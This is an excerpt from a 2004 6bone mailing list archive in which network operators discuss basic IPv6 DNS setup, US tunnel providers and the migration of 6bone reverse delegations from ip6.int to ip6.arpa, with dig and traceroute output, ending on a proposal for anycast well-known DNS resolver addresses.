server?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>8. Where do I find resources on IPv6=20
autoconfiguration and how to set it up?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>9. Are there IPv6 DHCP/bootp servers =
available and=20
what software do they use?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>John Andrews</FONT></DIV></BODY></HTML>

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From chuck@degler.net Fri Apr 23 23:17:18 2004
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From: Chuck Yerkes <chuck+6bone@snew.com>
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Quoting John Andrews (john@silverhighway.com):
> As a relative newbie to IPv6 I have to ask dumb questions.

A boss taught me:
   "There is no dumb question.  Except for what you're about to ask me now"
(I quit that job)

> 1. How easy is it to setup an IPv6 host for DNS?
Simple.
foo.example.com   IN AAAA    3ffe:666:1:6::2

> 2. How do I add an AAAA record into DNS?
See above.

> 3. Is it possible for an IPv6 host to find an IPv4 host using DNS?
Sure, in DNS.
> 4. Is it possible for an IPv4 host to find an IPv6 host using DNS?
Sure, in DNS.
> 5. There must be some sort of gateway between IPv4 and IPv6 to allow two-way communication. How is this done?
Depends on OS.
> 6. Is it possible to setup an IPv6-only mail server? How does the mail exchanger record work in this case?
Yes. (below)
> 7. Is it possible to setup an IPv6-DNS server?
Sure, why not?
> 8. Where do I find resources on IPv6 autoconfiguration and how to set it up?
Depends on OS somewhat.  Books to.
> 9. Are there IPv6 DHCP/bootp servers available and what software do they use?

Dunno, seems kinda redundant to lots of the autoconf stuff.


okay, I have a machine with IPv6 running on it.  It may be
able to reach 6 hosts on the internet, or might be isolated on
my internal LAN.

I want to ssh to "host.example.com"

my ssh will look for an AAAA record for "host.example.com"
  Found?  -> try to connect to it?
      Connected?  -> done.
If *either* of those fail, then back down to IPv4.

Easy.

I have 2 hosts on a segment using 6 they will, if their client
speaks it (smtp, ssh, dsn, telnet, sql, whatever), use IPv6.  If
the client (nfs on many OSs) doesn't, it will use IPv4.

Hey, my whole segment is using IPv6!  And across the router (which
can use IPv6, another segment has IPv6.  we'll all talk IPv6 happily
and IPv4 to the other segments (see, we can SLOWLY introduce IPv6
to a network).

Hey, the whole damn LAN has IPv6 (except perhaps for those stupid
Jetdirect cards and that 1991 terminal server (this would be my house)).
Some machines use IPv4 for NFS (that's ok), but about everything else
if IPv6.

I go out the gateway and *it* speaks IPv6 to 6bone machines.
But I have "faithd" running (BSD) to translate IPv4 requests down
to IPv4.

All the IPv4 addresses are inside a small chunk of the IPv6 address space.
(what's 32 bits when we have 128?).

From L@bnmnetworks.net Wed May  5 18:31:16 2004
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Subject: Re: [6bone] US based IPv6 Tunnel providers
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Your local ISP that you have a leased line with may be able to help 
but, other than that, I don't see a lot of them either.
Mine ( UUnet ) as part of the service I have with them, give me a 
dedicated tunnel.

This one is pretty good ( but in Canada ):
http://www.freenet6.net/

Hope this helps.  :-)

Scotty


On Tuesday, Apr 20, 2004, at 16:52 US/Eastern, Colin Faber wrote:

> Hi folks,
>
> I'm wondering if any of you know of or operate any US based tunnels.  
> Currently I'm using HE.NET's service however recently I've been having 
> MAJOR problems and am now looking for an alternative. This is because 
> HE.NET's service has become unreliable for IPv6 technology > development.
>
> If anyone has any suggestions or recommendations I would love to hear 
> from you.
>
>
> Thanks.
>
> -- 
> Colin Faber
> FPSN.Net Development staff
> email: cfaber@fpsn.net
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From cinnion@ka8zrt.com Wed May  5 18:59:16 2004
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Date: Wed, 5 May 2004 21:58:20 -0400
From: Douglas Wade Needham <cinnion@ka8zrt.com>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] US based IPv6 Tunnel providers
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If you have Covad, don't bother asking. 8(  They are not even talking
about v6 in their long term plans from what I have gotten from their
upper level techs.

- Doug

Quoting Scott Nelson (L@bnmnetworks.net):
> Your local ISP that you have a leased line with may be able to help 
> but, other than that, I don't see a lot of them either.
> Mine ( UUnet ) as part of the service I have with them, give me a 
> dedicated tunnel.
> 
> This one is pretty good ( but in Canada ):
> http://www.freenet6.net/
> 
> Hope this helps.  :-)
> 
> Scotty
> 
> 
> On Tuesday, Apr 20, 2004, at 16:52 US/Eastern, Colin Faber wrote:
> 
> >Hi folks,
> >
> >I'm wondering if any of you know of or operate any US based tunnels.  
> >Currently I'm using HE.NET's service however recently I've been having 
> >MAJOR problems and am now looking for an alternative. This is because 
> >HE.NET's service has become unreliable for IPv6 technology > development.
> >
> >If anyone has any suggestions or recommendations I would love to hear 
> >from you.
> >
> >
> >Thanks.
> >
> >-- 
> >Colin Faber
> >FPSN.Net Development staff
> >email: cfaber@fpsn.net
> >
> >_______________________________________________
> >6bone mailing list
> >6bone@mailman.isi.edu
> >http://mailman.isi.edu/mailman/listinfo/6bone
> >
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
Douglas Wade Needham - KA8ZRT        UN*X Consultant & UW/BSD kernel programmer
Email:  cinnion @ ka8zrt . com       http://cinnion.ka8zrt.com
Disclaimer: My opinions are my own.  Since I don't want them, why
            should my employer, or anybody else for that matter! 

From hansolofalcon@worldnet.att.net Wed May  5 19:20:16 2004
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: <6bone@mailman.isi.edu>
Subject: RE: [6bone] US based IPv6 Tunnel providers
Date: Wed, 5 May 2004 22:20:36 -0400
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Hello from Gregg C Levine
I agree.
That's what I have, through AT&T. Both techs won't even acknowledge
the existence of IPv6. It's a foreign technology to them. In fact they
don't even have, or understand the need for an NTP server.

In fact they don't support Linux, and barely support Macs.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi

> -----Original Message-----
> From: 6bone-bounces@mailman.isi.edu
[mailto:6bone-bounces@mailman.isi.edu]
> On Behalf Of Douglas Wade Needham
> Sent: Wednesday, May 05, 2004 9:58 PM
> To: 6bone@mailman.isi.edu
> Subject: Re: [6bone] US based IPv6 Tunnel providers
> 
> If you have Covad, don't bother asking. 8(  They are not even
talking
> about v6 in their long term plans from what I have gotten from their
> upper level techs.
> 
> - Doug
> 
> Quoting Scott Nelson (L@bnmnetworks.net):
> > Your local ISP that you have a leased line with may be able to
help
> > but, other than that, I don't see a lot of them either.
> > Mine ( UUnet ) as part of the service I have with them, give me a
> > dedicated tunnel.
> >
> > This one is pretty good ( but in Canada ):
> > http://www.freenet6.net/
> >
> > Hope this helps.  :-)
> >
> > Scotty
> >
> >
> > On Tuesday, Apr 20, 2004, at 16:52 US/Eastern, Colin Faber wrote:
> >
> > >Hi folks,
> > >
> > >I'm wondering if any of you know of or operate any US based
tunnels.
> > >Currently I'm using HE.NET's service however recently I've been
having
> > >MAJOR problems and am now looking for an alternative. This is
because
> > >HE.NET's service has become unreliable for IPv6 technology >
development.
> > >
> > >If anyone has any suggestions or recommendations I would love to
hear
> > >from you.
> > >
> > >
> > >Thanks.
> > >
> > >--
> > >Colin Faber
> > >FPSN.Net Development staff
> > >email: cfaber@fpsn.net
> > >
> > >_______________________________________________
> > >6bone mailing list
> > >6bone@mailman.isi.edu
> > >http://mailman.isi.edu/mailman/listinfo/6bone
> > >
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> 
> --
> Douglas Wade Needham - KA8ZRT        UN*X Consultant & UW/BSD kernel
> programmer
> Email:  cinnion @ ka8zrt . com       http://cinnion.ka8zrt.com
> Disclaimer: My opinions are my own.  Since I don't want them, why
>             should my employer, or anybody else for that matter!
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From ipng@uni-muenster.de Thu May  6 01:46:16 2004
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Subject: [6bone] 3.f.f.e.ip6.int. delagations removed?
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Dear all, 

it looks like that since a few days ago the delegation for
4.0.e.f.f.3.ip6.int. to our name server is gone. Is there a reason why?
I'd like to help repairing that as quick as possible.

Checking the e.f.f.3.ip6.int. zone it is pretty empty compared to the
number of valid 6bone prefixes? Was there some cleanup lately?

So long,
     Christian
-- 
JOIN - IP Version 6 in the WiN  Christian Schild
A DFN project                   Westfaelische Wilhelms-Universitaet Muenster
http://www.join.uni-muenster.de Zentrum fuer Informationsverarbeitung
Team: join@uni-muenster.de      Roentgenstrasse 9-13
Priv: schild@uni-muenster.de    D-48149 Muenster / Germany
GPG-/PGP-Key-ID: 6EBFA081       Fon: +49 251 83 31638, fax: +49 251 83 31653


From jeroen@unfix.org Thu May  6 06:32:19 2004
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Subject: Re: [6bone] 3.f.f.e.ip6.int. delagations removed?
From: Jeroen Massar <jeroen@unfix.org>
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On Thu, 2004-05-06 at 10:45, Christian Schild wrote:
> Dear all,=20
>=20
> it looks like that since a few days ago the delegation for
> 4.0.e.f.f.3.ip6.int. to our name server is gone. Is there a reason why?
> I'd like to help repairing that as quick as possible.
>=20
> Checking the e.f.f.3.ip6.int. zone it is pretty empty compared to the
> number of valid 6bone prefixes? Was there some cleanup lately?

Cool, finally some movement! ;)

I hope that this means that ip6.arpa is getting deployed for the 6bone.
But that part of ip6.arpa still +trace's to the icann (butIwont)
department. Therefor it is bad, hope they bring up ip6.arpa soon now.

Tech details btw:

int.                    172800  IN      NS      NS.ISI.EDU.
int.                    172800  IN      NS      NS0.JA.NET.
int.                    172800  IN      NS      NS1.CS.UCL.AC.UK.
int.                    172800  IN      NS      NS.UU.NET.
int.                    172800  IN      NS      NS.ICANN.ORG.
;; Received 261 bytes from 192.33.4.12#53(C.ROOT-SERVERS.NET) in 115 ms

(Hoping that these are at least in sync)

These are out of sync:

NS0.JA.NET / NS.ISI.EDU / :
ip6.int.                10384   IN      NS      z.ip6.int.
ip6.int.                10384   IN      NS      ns3.nic.fr.
ip6.int.                10384   IN      NS      flag.ep.net.
ip6.int.                10384   IN      NS      y.ip6.int.

NS1.CS.UCL.AC.UK / NS.UU.NET / NS.ICANN.ORG:
ip6.int.                86400   IN      NS      y.ip6.int.
ip6.int.                86400   IN      NS      z.ip6.int.
ip6.int.                86400   IN      NS      ns3.nic.fr.
ip6.int.                86400   IN      NS      flag.ep.net.
ip6.int.                86400   IN      NS      imag.imag.fr.
ip6.int.                86400   IN      NS      munnari.oz.au.

But none of those carry ip6.int but some have the SOA:

ip6.int.                86400   IN      SOA     z.ip6.int.
hostmaster.ep.net. 1925902 10800 900 604800 129600

Greets,
 Jeroen


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Dear diary, on Thu, May 06, 2004 at 03:30:51PM CEST, I got a letter,
where Jeroen Massar <jeroen@unfix.org> told me, that...
> On Thu, 2004-05-06 at 10:45, Christian Schild wrote:
> > Dear all, 
> > 
> > it looks like that since a few days ago the delegation for
> > 4.0.e.f.f.3.ip6.int. to our name server is gone. Is there a reason why?
> > I'd like to help repairing that as quick as possible.
> > 
> > Checking the e.f.f.3.ip6.int. zone it is pretty empty compared to the
> > number of valid 6bone prefixes? Was there some cleanup lately?
> 
> Cool, finally some movement! ;)
[ip6.arpa hopes]

Is there? Well, I for one still see no e.f.f.3.ip6.arpa. delegation :-(.
And our (3ffe:80e0::/28) delegation disappeared from ip6.int. as well,
but it looks it reappeared right now. I asked Bob Fink about what's up
yesterday but got no reply yet (perhaps because I should've probably got
in touch with Bill Manning instead).

BTW, we (XS26) are not "production v6" people but we were asking about
e.f.f.3.ip6.arpa. for ages, especially on RIPE mailing lists etc. We've
only pretty much given up after things didn't move a single bit for
about 1.5 years...

Kind regards,

-- 
				Petr "Pasky" Baudis
Stuff: http://pasky.or.cz/
The rest is silence.  -- Hamlet, V.2

From jeroen@unfix.org Thu May  6 07:57:18 2004
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Subject: Re: [6bone] 3.f.f.e.ip6.int. delagations removed?
From: Jeroen Massar <jeroen@unfix.org>
To: Petr Baudis <pasky@xs26.net>
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On Thu, 2004-05-06 at 16:32, Petr Baudis wrote:
> Dear diary, on Thu, May 06, 2004 at 03:30:51PM CEST, I got a letter,
> where Jeroen Massar <jeroen@unfix.org> told me, that...
> > On Thu, 2004-05-06 at 10:45, Christian Schild wrote:
> > > Dear all,=20
> > >=20
> > > it looks like that since a few days ago the delegation for
> > > 4.0.e.f.f.3.ip6.int. to our name server is gone. Is there a reason wh=
y?
> > > I'd like to help repairing that as quick as possible.
> > >=20
> > > Checking the e.f.f.3.ip6.int. zone it is pretty empty compared to the
> > > number of valid 6bone prefixes? Was there some cleanup lately?
> >=20
> > Cool, finally some movement! ;)
> [ip6.arpa hopes]
>=20
> Is there? Well, I for one still see no e.f.f.3.ip6.arpa. delegation :-(.
> And our (3ffe:80e0::/28) delegation disappeared from ip6.int. as well,
> but it looks it reappeared right now. I asked Bob Fink about what's up
> yesterday but got no reply yet (perhaps because I should've probably got
> in touch with Bill Manning instead).

If you query z.ip6.int directly it works indeed.

z.ip6.int:
e.f.f.3.ip6.int.        6400    IN      SOA     dot.ep.net.
hostmaster.ep.net. 2002091315 900 900 4800 9600

flag.ep.net:
e.f.f.3.ip6.int.        6400    IN      SOA     dot.ep.net.
hostmaster.ep.net. 2002091315 900 900 4800 9600

y.ipt.int doesn't know of anything

imag.imag.fr:
e.f.f.3.ip6.int.        6400    IN      SOA     dot.ep.net.
hostmaster.ep.net. 2002091315 900 900 4800 9600

and on ns3.nic.fr, suddenly we see hexago suddenly with a new serial:

e.f.f.3.ip6.int.        259200  IN      SOA     sonata.hexago.com.
postmaster.hexago.com. 2004043002 10800 900 259200 86400

BUT:
1.1.8.e.f.f.3.ip6.int.  259200  IN      NS      ns1.ipng.nl.
1.1.8.e.f.f.3.ip6.int.  259200  IN      NS      ns2.ipng.nl.
1.1.8.e.f.f.3.ip6.int.  259200  IN      NS      ns3.ipng.nl.

That is from a *old* zonefile, it had been changed to ns1/2/3.sixxs.net
about a year ago, if it isn't more. Not that it matters much as that
prefix will be taken out of use and returned per 6/6/2004 when IPng.nl
will be laid next to the roses.

One *COOL* thing here though:

$ dig @sonata.hexago.com e.f.f.3.ip6.arpa

$ dig @sonata.hexago.com e.f.f.3.ip6.arpa soa

; <<>> DiG 9.2.4rc2 <<>> @sonata.hexago.com e.f.f.3.ip6.arpa soa
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51575
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 3

;; QUESTION SECTION:
;e.f.f.3.ip6.arpa.              IN      SOA

;; ANSWER SECTION:
e.f.f.3.ip6.arpa.       259200  IN      SOA     sonata.hexago.com.
postmaster.hexago.com. 2004043002 10800 900 259200 86400

;; AUTHORITY SECTION:
e.f.f.3.ip6.arpa.       259200  IN      NS      ns3.nic.fr.
e.f.f.3.ip6.arpa.       259200  IN      NS      flag.ep.net.
e.f.f.3.ip6.arpa.       259200  IN      NS      imag.imag.fr.
e.f.f.3.ip6.arpa.       259200  IN      NS      sonata.hexago.com.

;; ADDITIONAL SECTION:
imag.imag.fr.           6404    IN      A       129.88.30.1
sonata.hexago.com.      259200  IN      A       209.71.226.2
sonata.hexago.com.      259200  IN      AAAA    2001:5c0:0:1::2

Joy joy... Hexago is going to run ip6.arpa for 6bone!!! ;)
Now they'll just have to kick ICANN, but they probably won't.

Also:

;; ANSWER SECTION:
e.f.f.3.ip6.arpa.       259200  IN      NS      sonata.hexago.com.
e.f.f.3.ip6.arpa.       259200  IN      NS      ns3.nic.fr.
e.f.f.3.ip6.arpa.       259200  IN      NS      flag.ep.net.
e.f.f.3.ip6.arpa.       259200  IN      NS      imag.imag.fr.

Also good to see that there are both US and European boxes there.
They might want to add a box in the APNIC region, maybe APNIC can help
them out there? The connection to Hexago seems flay though:

jeroen@purgatory:~$ traceroute6 2001:5c0:0:1::2
traceroute to 2001:5c0:0:1::2 (2001:5c0:0:1::2) from
2001:7b8:300:0:290:27ff:fe24:c19f, 30 hops max, 16 byte packets
 1  gw-1.ede-01.nl.sixxs.net (2001:7b8:2ff::1)  32.611 ms  11.677 ms=20
12.514 ms
 2  sixxs-gw.ipv6.network.bit.nl (2001:7b8:3:4f:290:6900:4fc6:d81f)=20
11.959 ms  14.168 ms  14.931 ms
 3  jun1.sara.ipv6.network.bit.nl (2001:7b8::205:8500:120:7c1f)  13.186
ms  13.347 ms  13.308 ms
 4  nikhef.ams-ix.ipv6.intouch.net (2001:7f8:1::a500:8954:1)  69.685 ms=20
45.262 ms  38.101 ms
 5  tu-0.viagenie.mlpsca01.us.b6.verio.net (2001:418:0:4000::26)=20
170.824 ms  145.213 ms  163.389 ms
 6  * * *
 7  * * *

Tracing to 6bone, which is supposed to also be hosted by Hexago, traces
correctly over Viagenie (also Hexago, or was it... argh politics)...

$ dig @ns3.nic.fr 1.1.8.e.f.f.3.ip6.arpa ns

; <<>> DiG 9.2.4rc2 <<>> @ns3.nic.fr 1.1.8.e.f.f.3.ip6.arpa ns
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56623
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 0

;; QUESTION SECTION:
;1.1.8.e.f.f.3.ip6.arpa.                IN      NS

;; AUTHORITY SECTION:
1.1.8.e.f.f.3.ip6.arpa. 259200  IN      NS      ns1.ipng.nl.
1.1.8.e.f.f.3.ip6.arpa. 259200  IN      NS      ns2.ipng.nl.
1.1.8.e.f.f.3.ip6.arpa. 259200  IN      NS      ns3.ipng.nl.

Thus they *are* working on it, would have been nice if they told us so
though (and if they had used a recent zone file etc...)

Notez bien that nic.fr is also the box hosting .fr/.nl and various
others. And the best thing: they have a very anxious IPv6 person who
will make sure that IPv6 will stay working.

> BTW, we (XS26) are not "production v6" people but we were asking about
> e.f.f.3.ip6.arpa. for ages, especially on RIPE mailing lists etc. We've
> only pretty much given up after things didn't move a single bit for
> about 1.5 years...

RIPE has no business with 6bone, except maybe for the fact that David is
the RIPE IPv6 wg chair and runs the whois service. But the relation ends
there...

Complaining should be done here, but alas, not much response or updates
:(

Greets,
 Jeroen


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From pasky@machine.sinus.cz Thu May  6 08:32:17 2004
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Date: Thu, 6 May 2004 17:32:02 +0200
From: Petr Baudis <pasky@xs26.net>
To: Jeroen Massar <jeroen@unfix.org>
Subject: Re: Re: [6bone] 3.f.f.e.ip6.int. delagations removed?
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Dear diary, on Thu, May 06, 2004 at 04:55:17PM CEST, I got a letter,
where Jeroen Massar <jeroen@unfix.org> told me, that...
> On Thu, 2004-05-06 at 16:32, Petr Baudis wrote:
> > Dear diary, on Thu, May 06, 2004 at 03:30:51PM CEST, I got a letter,
> > where Jeroen Massar <jeroen@unfix.org> told me, that...
> > > On Thu, 2004-05-06 at 10:45, Christian Schild wrote:
> > > > Dear all, 
> > > > 
> > > > it looks like that since a few days ago the delegation for
> > > > 4.0.e.f.f.3.ip6.int. to our name server is gone. Is there a reason why?
> > > > I'd like to help repairing that as quick as possible.
> > > > 
> > > > Checking the e.f.f.3.ip6.int. zone it is pretty empty compared to the
> > > > number of valid 6bone prefixes? Was there some cleanup lately?
> > > 
> > > Cool, finally some movement! ;)
> > [ip6.arpa hopes]
> > 
> > Is there? Well, I for one still see no e.f.f.3.ip6.arpa. delegation :-(.
..snip..
> ;; AUTHORITY SECTION:
> 1.1.8.e.f.f.3.ip6.arpa. 259200  IN      NS      ns1.ipng.nl.
> 1.1.8.e.f.f.3.ip6.arpa. 259200  IN      NS      ns2.ipng.nl.
> 1.1.8.e.f.f.3.ip6.arpa. 259200  IN      NS      ns3.ipng.nl.
> 
> Thus they *are* working on it, would have been nice if they told us so
> though (and if they had used a recent zone file etc...)
> 
> Notez bien that nic.fr is also the box hosting .fr/.nl and various
> others. And the best thing: they have a very anxious IPv6 person who
> will make sure that IPv6 will stay working.

Cool! It's great that something seems to be happening in the
backstage... ;-)

> > BTW, we (XS26) are not "production v6" people but we were asking about
> > e.f.f.3.ip6.arpa. for ages, especially on RIPE mailing lists etc. We've
> > only pretty much given up after things didn't move a single bit for
> > about 1.5 years...
> 
> RIPE has no business with 6bone, except maybe for the fact that David is
> the RIPE IPv6 wg chair and runs the whois service. But the relation ends
> there...
> 
> Complaining should be done here, but alas, not much response or updates
> :(

Well at that time RIPE was supposed to run the 6BONE reverse delegations
(and cooperate with B.M. on that, which didn't work out), I was told by
some relevant people to complain at RIPE's.

-- 
				Petr "Pasky" Baudis
Stuff: http://pasky.or.cz/
The rest is silence.  -- Hamlet, V.2

From ipng@uni-muenster.de Thu May  6 08:34:17 2004
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Subject: Re: [6bone] 3.f.f.e.ip6.int. delagations removed?
From: Christian Schild <ipng@uni-muenster.de>
To: Jeroen Massar <jeroen@unfix.org>
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FYI,

the ip6.int. table seems to be complete again (4.0.e.f.f.3.ip6.int. is
in it again), while ip6.arpa. now carries the limited table ip6.int. had
this morning.

Guess we have to wait a little bit more :)

Christian (starting to edit/add zonefiles :))

Am Do, den 06.05.2004 schrieb Jeroen Massar um 16:55:
> On Thu, 2004-05-06 at 16:32, Petr Baudis wrote:
> > Dear diary, on Thu, May 06, 2004 at 03:30:51PM CEST, I got a letter,
> > where Jeroen Massar <jeroen@unfix.org> told me, that...
> > > On Thu, 2004-05-06 at 10:45, Christian Schild wrote:
> > > > Dear all, 
> > > > 
> > > > it looks like that since a few days ago the delegation for
> > > > 4.0.e.f.f.3.ip6.int. to our name server is gone. Is there a reason why?
> > > > I'd like to help repairing that as quick as possible.
> > > > 
> > > > Checking the e.f.f.3.ip6.int. zone it is pretty empty compared to the
> > > > number of valid 6bone prefixes? Was there some cleanup lately?
> > > 
> > > Cool, finally some movement! ;)
> > [ip6.arpa hopes]
> > 
> > Is there? Well, I for one still see no e.f.f.3.ip6.arpa. delegation :-(.
> > And our (3ffe:80e0::/28) delegation disappeared from ip6.int. as well,
> > but it looks it reappeared right now. I asked Bob Fink about what's up
> > yesterday but got no reply yet (perhaps because I should've probably got
> > in touch with Bill Manning instead).

-- 
JOIN - IP Version 6 in the WiN  Christian Schild
A DFN project                   Westfaelische Wilhelms-Universitaet Muenster
http://www.join.uni-muenster.de Zentrum fuer Informationsverarbeitung
Team: join@uni-muenster.de      Roentgenstrasse 9-13
Priv: schild@uni-muenster.de    D-48149 Muenster / Germany
GPG-/PGP-Key-ID: 6EBFA081       Fon: +49 251 83 31638, fax: +49 251 83 31653


From frederick.lefebvre@hexago.com Thu May  6 11:06:21 2004
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All,

As many persons noticed, we are in the final steps in the deployment of the 
e.f.f.3.ip6.arpa zone.  In fact, it should be operational in a few days, as 
soon as the servers are properly registered (Bob is taking care of that).
In a bid to integrate both the int and arpa zones, the e.f.f.3.ip6.int will 
be served by the same servers.  The way the delegations are managed, is 
that the zone file is generated every day from the content of the 6Bone 
registry.  So, to setup the reverse delegation for a 6Bone pTLA you need to 
add at least one 'rev-srv' entry to you inet6num object.  This can be done 
on the 6Bone registry web interface at 
http://eng.hexago.com/6bone/registry/index.shtml.

An official announcement will be made when everything is operational.  In 
the meantime, we will have to live with an inconsistent e.f.f.3.ip6.int 
zone.  Feel free to report any problems to support@eng.hexago.com.

Regards,

Frederick Lefebvre
--
System and Network administrator
Hexago Inc.
(418)266-5533
------------------------------------------------
http://www.freenet6.net : Free IPv6 Connectivity
------------------------------------------------

From jeroen@unfix.org Thu May  6 11:30:20 2004
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Subject: Re: [6bone] e.f.f.3.ip6.[int|arpa] update
From: Jeroen Massar <jeroen@unfix.org>
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On Thu, 2004-05-06 at 20:05, Frederick Lefebvre wrote:
> All,
>=20
> As many persons noticed, we are in the final steps in the deployment of t=
he=20
> e.f.f.3.ip6.arpa zone.  In fact, it should be operational in a few days, =
as=20
> soon as the servers are properly registered (Bob is taking care of that).
> In a bid to integrate both the int and arpa zones, the e.f.f.3.ip6.int wi=
ll=20
> be served by the same servers.  The way the delegations are managed, is=20
> that the zone file is generated every day from the content of the 6Bone=20
> registry.  So, to setup the reverse delegation for a 6Bone pTLA you need =
to=20
> add at least one 'rev-srv' entry to you inet6num object.  This can be don=
e=20
> on the 6Bone registry web interface at=20
> http://eng.hexago.com/6bone/registry/index.shtml.
>=20
> An official announcement will be made when everything is operational.  In=
=20
> the meantime, we will have to live with an inconsistent e.f.f.3.ip6.int=20
> zone.  Feel free to report any problems to support@eng.hexago.com.

Well that is one very good thing to hear.

About the 'rev-srv' entry, I do hope that is *only* for the pTLA's and
not for every random zone below them ?

Greets,
 Jeroen


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From L@bnmnetworks.net Thu May  6 12:24:25 2004
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Subject: Re: [6bone] US based IPv6 Tunnel providers
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You are correct, as Covad uses Level3 as their backbone provider and L3 
doesn't have any plans, at least immediately to do IPv6.

I should have been more specific and said "Leased line" ISP or business 
class ISP.
I dunno, maybe only UUnet offers at this point since 6Bone test nets 
are going away.

http://www.ietf.org/rfc/rfc3701.txt?number=3701

HE.net does seem to be flaky lately. Maybe since they are offering IPv6 
as a service now, the free stuff is going by the wayside.

Scotty




On Wednesday, May 5, 2004, at 21:58 US/Eastern, Douglas Wade Needham 
wrote:

> If you have Covad, don't bother asking. 8(  They are not even talking
> about v6 in their long term plans from what I have gotten from their
> upper level techs.
>
> - Doug
>
> Quoting Scott Nelson (L@bnmnetworks.net):
>> Your local ISP that you have a leased line with may be able to help
>> but, other than that, I don't see a lot of them either.
>> Mine ( UUnet ) as part of the service I have with them, give me a
>> dedicated tunnel.
>>
>> This one is pretty good ( but in Canada ):
>> http://www.freenet6.net/
>>
>> Hope this helps.  :-)
>>
>> Scotty
>>
>>
>> On Tuesday, Apr 20, 2004, at 16:52 US/Eastern, Colin Faber wrote:
>>
>>> Hi folks,
>>>
>>> I'm wondering if any of you know of or operate any US based tunnels.
>>> Currently I'm using HE.NET's service however recently I've been 
>>> having
>>> MAJOR problems and am now looking for an alternative. This is because
>>> HE.NET's service has become unreliable for IPv6 technology > 
>>> development.
>>>
>>> If anyone has any suggestions or recommendations I would love to hear
>>> from you.
>>>
>>>
>>> Thanks.
>>>
>>> -- 
>>> Colin Faber
>>> FPSN.Net Development staff
>>> email: cfaber@fpsn.net
>>>
>>> _______________________________________________
>>> 6bone mailing list
>>> 6bone@mailman.isi.edu
>>> http://mailman.isi.edu/mailman/listinfo/6bone
>>>
>>
>> _______________________________________________
>> 6bone mailing list
>> 6bone@mailman.isi.edu
>> http://mailman.isi.edu/mailman/listinfo/6bone
>
> -- 
> Douglas Wade Needham - KA8ZRT        UN*X Consultant & UW/BSD kernel 
> programmer
> Email:  cinnion @ ka8zrt . com       http://cinnion.ka8zrt.com
> Disclaimer: My opinions are my own.  Since I don't want them, why
>             should my employer, or anybody else for that matter!
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From gert@Space.Net Fri May  7 05:50:21 2004
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Hi,

On Thu, May 06, 2004 at 03:23:18PM -0400, Scott Nelson wrote:
> You are correct, as Covad uses Level3 as their backbone provider and L3 
> doesn't have any plans, at least immediately to do IPv6.
> 
> I should have been more specific and said "Leased line" ISP or business 
> class ISP.

NTT/Verio is offering business class IPv6 for their customers.

http://www.verio.net/access/ipv6.cfm

(Note that we're not related in any way to Verio, but I point this
out because I appreciate the fact that they do invest in IPv6, instead
of following the pack "nobody else is doing this yet!")

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  60210  (58081)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From iljitsch@muada.com Sun May  9 07:43:24 2004
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Now that I have your attention...

For some time, I've been unhappy with the progress (or rather, lack 
thereof) in the area of DNS resolver discovery/configuration in IPv6.

I've been advocating the well-known address (WKA) approach, as setting 
up DNS resolvers at well-known addresses doesn't require changes to 
existing implementations, and thus provides instant relief to those of 
us who want to experiment with running IPv6 in environments where 
having a way to automatically determine IPv6 DNS resolver addresses is 
important.

Now obviously it would be possible to write a draft, try to get it 
published as an RFC and so on. But it's unlikely this will get 
consensus, and it's going to take a long time until such an RFC is 
published if it does.

So what I'd like to do is put the final days (ok, years) of the 6bone 
to good use, and simply start a public resolver service using 6bone 
addresses. The idea is to use two addresses, that are then anycast, not 
unlike what's happening with the IPv4 root DNS servers. Note that this 
type of anycasting is different from regular IPv6 anycasting. Rather, 
the address block that contains the address(es) in question is sourced 
in BGP in different places at the same time. Anyone who wants to can 
then run an anycast instance, either public or private, just as with 
6to4 relays.

In order to be able to do this, it's important that the address blocks 
are big enough so that most people don't filter them. There must be at 
least two so that a problem with a specific instance of the address 
doesn't make the service unavailable. Additionally, it's possible that 
these well-known addresses find their way into software distributions 
and keep receiving lots of traffic for a long time. In order to avoid 
collateral damage in this case, it's a good idea to use two pTLAs for 
just this purpose and nothing else. These pTLAs can then be removed 
from BGP if and when the well-known addresses create operational 
problems.

Even though new pTLAs aren't supposed to be given out anymore, I think 
this is a very useful experiment that fits well with the purpose of the 
6bone, so an exception would be in order. Also, since the 6bone will be 
shut down in two years, this is the perfect opportunity to experiment 
with WKAs in IPv6 without having to fear long-lasting ill effects.


From pim@bfib.colo.bit.nl Sun May  9 10:33:24 2004
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From: Pim van Pelt <pim@ipng.nl>
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Subject: Re: [6bone] Request: two 6bone pTLAs
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Hi Iljitsch,

| So what I'd like to do is put the final days (ok, years) of the 6bone 
| to good use, and simply start a public resolver service using 6bone 
| addresses. The idea is to use two addresses, that are then anycast, not 
| unlike what's happening with the IPv4 root DNS servers. Note that this 
| type of anycasting is different from regular IPv6 anycasting. Rather, 
